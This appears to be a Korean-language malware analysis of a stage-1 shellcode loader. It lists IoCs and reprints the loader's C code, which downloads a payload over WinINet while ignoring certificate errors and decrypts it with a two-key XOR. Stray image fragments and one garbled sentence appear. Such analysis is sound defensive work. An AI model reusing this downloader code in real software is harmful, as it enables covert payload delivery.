
Analysis for stage1 shellcode loader from hacking
코드 순서도
네트워크 IoC
https://172\[.]20\[.]20\[.]164
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)
감염 IoC(드롭된 파일)
2s5s7k8w8b4i.dat
9z8o5d9l0p6c.dat
좋아, 이게 대체 뭐지. 시작해보자. Loader.sln이나 loader.c부터.
좋아, startup이 있고 startup에서 asm으로 간다. asm에서는 뭐가 일어날까? PIC(위치 독립 코드, position independent code) 셸코드다. 멋지다. 그리고 이건 뭘 할까? 기본적으로 Loader(0xdeadbeef)를 호출한다. 왜? 그 주소를 왜 골랐는지는 모르겠지만, 그 주소에는 언패킹된 코드가 있어야 한다. 어쨌든 계속 진행해서 디버거에서 무슨 일이 일어나는지 보자. 정정: 우리는 Loader(eax)를 호출한다. eax는 .dat 파일이 있는 IP 주소다. .png)
이제 흐름을 따라가면 loader로 들어간다.

지금은 LoadVtable을 건너뛰자. 그것은 어디에나 있고(ubiquitous) 크기가 크기 때문이다. 나머지 기능들을 분석한 후에 다시 돌아올 것이다. 이제 DownloadAndDecryptTls를 살펴보자.
DownloadAndDecryptTls

이제 디버깅 중 알게 된 재미있는 점 하나.
위 이미지와 다음 스니펫에서 볼 수 있듯이,
DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent,
lpLoaderConfig->strUrl,
&dwFileSize,
lpLoaderConfig->dwXorKey,
lpLoaderConfig->dwXorKey ? TRUE : FALSE);
lpLoaderConfig가 동적으로 검색된다는 점이다. 그런데 어디서? 글쎄, 아마도 그 .dat 파일을 다운로드하거나 내부적으로 사용하는 것 같다. 그리고 그 .dat 파일이 뭔지. 아카이브를 살펴보면
shellcode_0x95d라는 또 다른 멋진 파일이 보인다. HxD로 살펴보면
API 호출 몇 개와 그 URL이 보일 것이다. 그러니 기본적으로 이게 실제 셸코드다 :) 쩐다. 이걸 끝내고 나서 그것도 살펴볼 것이다.
참고로 나중을 위해, XOR 키는 0x6281f17f다. 이제 흥미로운 지점인 ValidateCa까지 간단히 분석해보자. 그 지점까지 이 함수에서는 특별한 일이 없다. 가장 흥미로운 것은 InternetOpenA 호출인데, 이는 네트워킹 관련 DLL을 초기화한다. 그들이 쓴 한 가지 트릭을 보려면 동적으로 분석해보는 것이 좋겠다. 그들은 C 코드에서 이렇게 한다.
hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
API의 인자 수보다 하나가 적다. 어쨌든 말은 여기까지 하고 코드에서 무슨 일이 일어나는지 보자.
디버거에서는 이렇게 보인다.
내 생각에 여기서 일어나는 일은, INTERNET_OPEN_TYPE_PRECONFIG를 사용하기 때문에 미리 구성된 구조체를 사용하고, lptable에는 이미 URL이 들어 있다는 것이다.
어쨌든 다음은 ValidateCA다.
어쨌든 왜 이걸 하느냐면, 단순히 https를 쓸지 http를 쓸지 결정하기 위해서다.
DWORD dwHttpsFlag = 0;
if( ValidateCA(lpTable) )
dwHttpsFlag = INTERNET_FLAG_SECURE;
else
dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
그런 다음 간단한 GET 요청을 하고 http에서 파일을 다운로드한다. 여기서 특별할 건 없다. 이 코드에 특별한 점이 있는지 궁금하다면, 내 생각엔 아마 없을 것이다. 인터넷에서 이런 작업을 수행하는 예제를 찾을 수 있을 것이다. DownloadFile 함수는 어떻게 파일을 다운로드할까? InternetReadFileExA를 사용한다.
어쨌든 여기 코드가 있다.
if( hOpen )
{
hConnect = lpTable->fpInternetConnect(hOpen, serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
if( hConnect )
{
hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );
if( hReq )
{
if( !ValidateCA(lpTable) )
{
DWORD dwFlags;
dwBuffLen = sizeof(dwFlags);
lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
}
if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
{
dwBuffLen = 16;
dwIdx = 0;
lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);
LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);
if (DownloadFile(lpTable, hReq, lpFileBuffer, *dwFileLen))
{
if (bXored)
lpPayload = Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);
else
lpPayload = lpFileBuffer;
}
} // if( lpTable->fpHttpSendRequest )
} // if( hReq )
} // if( hConnect )
} // if( hOpen )
/* close handles */
if( hReq )
lpTable->fpInternetCloseHandle(hReq);
if( hConnect)
lpTable->fpInternetCloseHandle(hConnect);
if( hOpen)
lpTable->fpInternetCloseHandle(hOpen);
return lpPayload;
이제 복호화 if 검사를 살펴보면서 복호화 함수에 들어가는지 확인해보자. 실험할 때의 내 가정에 따르면 bXored가 true가 되어 복호화 함수에 들어가야 한다. 불행히도 우리의 가정은 틀렸다. 왜냐하면
.png)
lpTable->fpHttpSendRequest is being used in the id not bXored and since the server is down
그 악성 서버에 요청을 보낼 수 없을 것이기 때문이다. frida로 서버를 에뮬레이션할 수도 있지만, 어차피 우리는 이미 페이로드를 가지고 있는데 무슨 소용이 있겠는가. 이제 남은 것은 디스어셈블해서 암호화되었는지 여부를 결정하는 것뿐이다. 또한 복호화는 이렇게 생겼다.
LPDWORD lpD = (LPDWORD) lpBuffer;
LPBYTE lpB = (LPBYTE) lpBuffer;
for (UINT i=0; i<dwBuffLen/4; i++)
lpD[i] ^= dwXorKey;
for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)
lpB[i] ^= 0x41;
return lpBuffer;
2-키 XOR이며 dwXorKey는 0x6281f17f다.
이제 Loader 함수로 돌아가서 로더의 마지막 부분을 해결하자.
